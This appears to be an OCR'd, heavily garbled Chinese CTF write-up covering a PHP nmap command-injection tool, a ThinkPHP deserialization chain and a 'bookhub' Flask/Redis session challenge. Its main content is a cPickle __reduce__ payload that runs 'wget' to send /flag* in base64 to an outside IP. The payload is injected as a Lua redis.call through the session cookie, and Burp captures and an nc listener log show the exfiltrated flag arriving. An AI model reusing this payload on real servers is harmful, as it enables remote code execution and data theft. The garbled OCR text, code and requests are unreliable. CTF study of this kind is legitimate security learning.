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1.0one line tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER[ 'REMOTE_ADDR'] = $_SERVER[ 'HTTP_X_FORWARDED_FOR'];
}

if(lisset($_GET['host'])) {
highlight_file(__FILE_ );
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
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__destruct

n Project Module Directory Scope

public function [slS3 i) Register.php 5

tp5/application/

__destruct()
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$this->{$this->{$name}}($arguments);
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B2php
class af
public Sb=
public Sc= A
public function __construct(){
Sthis->={Sthis->{5d}}();
}
public function im(){
echo H
1
public function __get(Sname){
return $this-=>c;
}
1
Sbb= new a():;
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3.bookhub
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-int. route (" /admin/logout/’ )
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app.config[ Sy [e\ W WISV = 'bookhub:session:’




BV XA EH, KIEE ik Ecsrf token

POST fadmin/system/refresh_session/ HTTR/1.1 : HTTR/1.1 400 Bad Request

Host: weh139.node1.buuoj.cn Server: openrasty

Pragma: no-cache Date: Tue, 13 Aug 2019 01:09:00 GMT

Cache-Control: no-cache Content-Type: text/html

Upgrade-Insecure-Requests: 1 Content-Length: 142

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64) AppleWeblit/537 .36 (KHTML, like Gecko) Chrome/75.0.3770.142 Connection: close

Safari/537 36 Set-Coakie: bookhub-session=19a73h23-3524-4efa-99d6-3997 22425761, Expires=Fri, 13-Sep-2019 01:09:00 GMT; HttpOnly;
Accept: text/html application/xhtml+xml application/xml;g=0 9 image/webp image/apng */*q=0.8,appl \fsigned-exchangev=b3 Path=/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 und;q=0.8 <IDOCTYPE HTML PUBLIC "/W3C#/DTD HTML 3.2 Finall/EN";
Cookie: bookhub-session=19a79h23-3524-4efa-99d6-3997 ae 425761 <titlz>400 Bad Request<fitle>

Connection: close <hl>Bad Request</h1>

Content-Type: application/x-www-form-urlencoded <p>The CSRF token is missing.</p>

Content-Length: 0

R J5 I8 21 8 il TUHR B 3R B ) csrf tokenfE, FHX VT

div class="d-flex flex-column justify-content-center” id="login-box™>
<div class="lozin-box-header” >
<h4*Login</hd>
{fdivy
<form method="post™>
<input id="csrf_token” name="csrf_token” type="hidden” value="TmQwi205NzNulzZ JMDk1Z0FLZDIINGT 120 ] 120k SN I SNz c52TASNDI 1. XVINZA, Sol -UCv hkASOhPv xD1-zz5rPyew >
<div class="name-login”>
<input type="text” required placeholder="Username” name="username” class="name-input form-control”/>

{input type="password” required placeholder="FPassword” name="password” class= password-input form-control”/>

Go Cancel | [ < [v || >|v Target: httpiilweb19.nodet buuoj.cn 7 (5

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /admin/system/refresh_session/ HTTP/1.1 : HTTP/1.1 200 OK

Host: web19.node1 buusj.cn Senver openresty

Pragma: no-cache Date: Tue, 13 Aug 2019 01:10:24 GMT
Cache-Control: no-cache Content-Type: application/json
Upgrade-Insecure-Requests: 1 Content-Length: 26

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Connection: close

Safarif537 .36 Set-Cookie: bookhub-session=19a79b23-3524-4efa-99d6-3997 aed 25761, Expires=Fri, 13-Sep-2019 01:10:24 GMT; HttpOnly;
Accept: text/html application/xhtml+xml application/xml;g=0.9,image/webp image/apng **g=0.8 application/signed-sxchangevw=h3 Path=/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,und;q=0.8 {

Cookie: bookhub-session=19a73h29-3524-4efa-99d6-3997 22425761 "status” "success”

Connection: close }

Content-Type: application/x-waw-form-urlencoded

Content-Length: 102

csif_token=ImQwY205MzNmMzZjMDK1ZGF kZDITMGH ZWJIZmE3MGI3MzeSZTQ3MDIXVIN3A 3gL-UCvhkASOhPvxD1-225Pycw
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ookhub/forms/test. py”
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X Aapp.config['SESSION_KEY PREFIX] = 'bookhub:session:', Ff LAR] LABf#:

19a79b29-3524-4efa-99d6-3997ae425761" ,redis evilcode, "bookhub:session:aaa

B et B AT bookhub:sessioni# /T — AN E i, W{E Naaa, RJEKredisHBEREIE L, REJRINVEE
aaaiX~session 4 A ¥ B 15 w2 fil & pickle ) 7 546 R PAT B E ARG . Fr DA T KRB & nfiltigevilcode, Al
A LA%A B S i K sessioni{E N [ #shellf{E . 4R )5 3 & sessionfil & FF FI4L BRI ]

B S84 ipayload:

import cPickle
import os

class exp(object):
def _ reduce__ (self):
s="wget 104.224.146.7:233332?  cat /flag* | base64™ "
return (os.system,(s,))

e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:

s_bypass +="string.char(%s).."%ord(i)
evilcode = "'’
redis.call("set","bookhub:session:triple",%s)
"''%s_bypass[:-2]
payload = """’
6117c248-ed0@d-4d74-bbab-21b9342c854a",%s, "bookhub:session:triple
'"'%evilcode
print payload.replace(" ","")
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Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML | Render

GET Jlogin/ HTTPA 1

Host: 192.168.1.14:8000

Upgrade-Insecurs-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537 368

Aceept: texthtml application/xhtml+xm fon/xml;q=0.9, bp, *%q=0.8 appl J-exchange;v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 und:q=0.8

Cookie:

bookhub-session=6f17c248-ed0d-4d74-bbab-21b9342c854a" redis. call("set” "bookhub: session:tr ple” string. char(39). string.char(112). string.char(111). s
tring.char(115)._string. char(105)..string. char{120)._string.char(10). string.char(115). string char(121). string char(115). string.char(116). string. char(101). str
ing.char(109)..string.char(10)..string. char(112).. string. char(49)..string. char(10).. string. char(40).. string. char(33).. string. char(39).. string. char(113).. string.cha
1(103). string.char(101)..string.char(116)._string. char(32). string char(49). string char(48)..string.char(52). string char(46)..string.char(50). . string char(50). s

<div clags="d-flax flax-column justify-content-center” i
<div class="login-box-header">
<hd>Login</hd>

<fdiv> /
<form method="post">

<input id="csrf_token" name="csif_taken" type="hidden"

“login-box">

valug="ljliNjBhNmYOMJEyZGFhNTg0ZWQxZWYONTgwiv] Y 3ZTc2ZMTe2 0 GVIZG Ui XVIhJA. n-IMKiMpfhjs G SREDiqvT ebg

2OA">
<div class="name-login">
<input type="text" required placeholder="Usemame" name="usemams" class="name-inptt
form-control’f>

tring.char(52). string.char(48)..string.char(43)..string.char(52). string.char(54)..string. char(46). string. char(55). string. char(58). string. char(50). string. char(s
1)..string.char(51)..string. char(31).. string.char(51).. string. char(63).. string.char(36).. string. char(33). . string. char(37). . string. char(1 16).. string. char(32).. string.
char(47)..string. char(102)..string.char(108). string.char(37). string.char(103). string. char(42). _string. char(32). string char(124). string. char(32)._string. char(d
8). string.char(d7). string char(115)..string.char(101). string char(34)..string.char(52). string.char(38)..string.char(33). string char(10). string char(112)._strin
g.char{s0)..string.char(10)..string. char(116)..string.char(82).. string. char(1 12).. string. char(S1).. string. char(10).. string. char(46)), "bookhub: session:tri ple
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: O

form-control’f>

</div>

Request

Raw | Params | Headers | Hex

<input type="password" required placeholder="Password" name="password" class="passward-input

<div class="submit-row">

<button class="btn hin-primary bin-black box-shadow" type="submit"
id="submit-id-submit">Login</button>

<div class="d-flex justify-content-between">

<div class="ft heck fi heck-inl

" id="f henl .

<input type="checkbox" name="remember_me" class="form-check-input"

id="formCheck-1"/><label for="formCheck-1" class="form-check-label"><span class="label-text">Remember

Response

Raw | Headers | Hex

POST fadmin/systemirefresh_session/ HTTF/1.1

Host: 192.168.1.14:8000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; xB4) AppleWehKit/537 38 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537 368

Accept: text/himl,application/xhtmi+xml mlg=09, , 1 q=0.8, hange:w=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.3 und;q=0.8

Cookie:

bookhub-session=6f17c248-ed0d-4d7 4-bibab-21b3342c854a" redis.call("set" "bookhub: session:tri ple” string. char(39)..string.char(112). string. char(111)..string. char(115)...string.ch
ar(105). string.char(120). string.char(10).string. char(115). string. char(121). string. char(115). string.char(118). string.char(101)..string. char(109). string.char{10). string. char(112). st
ring.char(49). .string. char(10).. string. char(40).. string. char(33).. string. char(39).. string.char(119).. string. char(103).. string. char(101).. string. char(1 16). . string. char(32)..string. char(49)..s
tring.char(48)..string. char(52). string. char(46)..string.char(s0).. string.char(50). string. char(52). string char(46). string.char(49).. string. char(52)..string. char(54). string char(46). string
.char(55)...string. char(58).. string. char(50). . string. char(51). . string. char(51).. string.char(51)... string. char(51).. string. char(63). . string. char(96). . string. char(39).. string. char(7)... string. cha
1(116)..string. char(32)._string.char(47). string.char(102). string.char(108). string char(97). string. char(103)..string. char(42). string. char(32). string. char(124)._string char(32)..string c
har(98)..string. char(37).. string. char(115).. string.char(101).. string. char(54).. string. char(52)... string. char(J6). . string. char(39)..string. char(10).. string. char(112).. string. char(a0). . string.
har(10). string.char(1 16). string.char{82).string. char(112). string. char(51)._string. char(10)..string.char(46)) "bookhub:session trl pla

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 111

T

csif_token=|iNjBRNmYOMJEy ZGF hNTgOZWGXZW Y ONT gwhi] Y3ZTe2MTe20GVIZG UL XVIhJA. n-IMKiMpihjsGSREQiqy7 shgeoAgsubmit=1

HTTR/1.1 200 OK

Server: gunicom/19.9.0

Date: Tue, 13 Aug 2019 07:06:10 GMT

Connection: close

Content-Type: application/json

Content-Length: 26

Set-Cookie:

bookhub-session="6f17c248-ed0d-4d74-bhaB-21h9342c854a\"\054redis call(\"set\"\054\"baokh

ub:session:triple\"\054 string. char(33)... string. char(112)..string.char(111)..string. char(115). . stri

ng.char(105)._string. char(120). string char(10). string char(115)._string.char(121). string. char(1

15)..string. char(116).. string.char(101)..string.char(109).. string.char(10)... string. char(112).. string
char(49). string char(10). string.char{40)..string. char(3)..string.char(33)._string.char(113). stri

ng.char(103)..string.char(101)..string.char(1 16).. string. char(32)...string.char(43). . string. char(43)
string.char(52)..string char(46). string. char(50). string.char(50). string.char(52).string. char(4

6)..string.char(43)...string. char(32).. string. char(54).. string. char(46)... string. char(S5).. string. char(

58)..string.char(50). string. char(51). string.char(51). string.char(51). string. char(1)..string cha

1(63)..string.char(96)...string. char(99). . string. char(97).. string. char(116)... string. char(32). . string.c

har(47). string.char(102). string.char(108)._string.char(37)..string.char(103). string.char(42). str

ing. char(32). string. char(124). _string. char(32)..string.char(38)..string.char(37). string char(1 15)
string.char(101). string char(54). string char(52). string. char(96). string.char(39)..string. char(1

0). string.char(112). string. char(50). string. char(10). string.char(116). string char(82)..string.ch

ar(112)..string.char(51)..string.char(10)... string. char(46))\054\"bookhub: session:triple";

Expires=Fri, 13-Sep-2019 07:06:10 GMT, HttpOnly; Path=/

{ T a———

"status": "success”

}
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/
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No Restriction v
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[root@safe-fan-2 ~]# nc -lwvvv 2
tion from 114.219.49.237 port 333 [tecp/elxmgmt] accepted
GET ff:nd]dG7?7WltbwltlethlthlthlthlthlQ HTTP/1.1

Host: 104.224.146.7:2
User-Agent: Wget
) ection: close

HEvps kB &g 3 T flaghiE
LA Aredis, BEBFFERER, 7TLUEMAkeys *REF A FERE

127.08.0.1:6379> keys *
1) "bookhub:session:6f17c248-ed@d-4d74-bba6-21b9342c854a\"

:session:triple\",string.char(99)..string.char(112)..string
..strlng char(lﬂs)..strlng char(lZ@)..strlng char(1e)..str

import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """wget 104.224.146.7:23333"""
return os.system, (s,)
evil = cPickle.dumps(genpoc()) print evil.replace("\n","\\n")

FAT AT CAAS F # A5 SR A 3 pickle B 7 51l AL 2

bookhub-session=aaa"} redis.call("set","bookhub:session:aaa","pickleFF{bEHE")--;

)

Eitredis.call®kitBsessionfl, XERappE LW E T sessionfiBi g Nbookhub:session:, Ffllaaal{EETT CARE AFFILEIE

JT—XIZxT:?xIde...}

— <

Target: http://192.168.1.14:3000

Raw | Params | Headers | Hex | Raw | Headers | Hex | HTML | Render |

GET flogin/ HTTP/1.1 A

Host: 192.168.1.14.8000 [ <html>

Upgrade-Insecure-Requests: 1 <head>

User-Agent: Mozilla/S.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML, like Gecka) Chrome/75.0.3770.142 Safarif537.36 <meta charset="utf-8"/>

Accept: text/html appli htral+xrml | mlg=0.9, bp image/apng,*™;q=0.8,application/signed-gxchange;v=b3 <meta name="viewport" content="width=device-width, initial-scale=1.0"/>

Accept-Encoding: gzip, deflate <title> pwnhub_6672 </title>

Accept-Language: zh-CN zh;q=0.9 und;¢=0.8 <link href="https:/fcdn.bootcss.com/bootstrap/d.1.1/css/bootstrap. min. css” rel="stylesheet">
Cookie: bookhub-session=aaa"} redis.call("set" "bookhub:session:aaa”,"cposix\nsysteminp 1\n(Swget 104.224.146 7:23333 \np2\ntRp3\n. ")

Connection: close </head>

Content-Type: application/x-www-form-urlencoded <body>

Content-Length: 0

<div class="d-lex

<div class=" -
<hd=Login</hd>

</div>

<form method="post">

<input id="csrf_tol

cen” name="csif_token" type="hidden"
value="ljhjNj Yy Y VIZTgOZiZIMWNYm Y TdjMTUIZGE2YW.ImNz EO Y 2MOZDZIZTEL XV sXw. o HuPnxrklyXZemm1U2hJ,
yITo">

<div class="name-login">

BB Bt Re % 7 _besrf_token2: 1 alrefresh T i Sk 15 B ¥ icookief, 4R )5 ¥ B sessionyaaaZ: Vi [l login A 1 ik
REFHMN, FIFEREIEE K

[root@safe-fan-2 ~]# nc -lvwv 2
Connection fr‘nm 114.219.49.237 port 2 [tcp/elxmgmt] accepted
GET / HTTP :
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